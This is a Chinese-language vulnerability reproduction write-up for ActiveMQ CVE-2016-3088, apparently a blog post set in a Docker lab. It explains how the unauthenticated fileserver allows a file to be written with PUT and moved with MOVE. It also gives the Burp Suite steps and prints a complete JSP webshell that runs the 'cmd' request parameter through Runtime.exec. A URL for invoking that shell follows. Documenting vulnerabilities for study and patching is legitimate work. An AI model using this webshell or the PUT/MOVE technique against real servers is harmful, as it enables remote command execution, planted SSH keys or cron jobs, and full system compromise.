ActiveMQ任意文件写入(CVE-2016-3088)
0x01漏洞概述
ActiveMQ Web控制台分为三个应用程序,admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是存储文件的界面;管理员和 API 需要先登录才能使用,文件服务器不需要登录。
fileserver 是一个 RESTful API 接口。我们可以通过HTTP请求(如GET,PUT和DELETE)读取和写入存储在其中的文件。设计目的是补偿消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:
(1)其使用率不高
(2)文件操作容易出现漏洞
因此,ActiveMQ默认在5.12.x—5.13.x中关闭了文件服务器应用程序(您可以在conf/jetty.xml中打开它);在 5.14.0 之后,文件服务器应用程序将被完全删除。在测试过程中,要注意ActiveMQ的版本,防止无用的费力。
0x02漏洞详情
这个漏洞出现在Fileserver应用程序中,漏洞原理其实很简单,即fileserver支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要写入一个文件,然后通过使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。写入文件,如 cron 或 ssh 密钥
(1)编写 Webshell
(2)写入文件,如 cron 或 ssh 密钥
(3)编写库和配置文件,如 jar 或 jetty.xml
0x03漏洞环境
1、启动漏洞环境
2、查看漏洞搭建情况
http://your-ip:8161/
3、删除漏洞环境
docker-compose down
0x04 复现过程
1、访问fileserver路径
2、利用burpsuite工具抓包
3、发送到重发器,PUT上传一个jsp的webshell到fileserver目录,下图可以看到成功上传jsp文件。
.js文件如下:
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
4、使用浏览器访问
http://your-ip:8161/fileserver/1.jsp
通过上图可以看到,fileserver目录下的webshell没有被解析,说明fileserver目录没有执行权限。
5、通过浏览器访问ActiveMQ的绝对路径
http://your-ip:8161/admin/test/systemProperties.jsp
6、通过move的方法,将木马文件移动到api或admin
7、访问该路径
http://your-ip:8161/api/1.jsp?cmd=ls
显示该界面,则访问成功。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义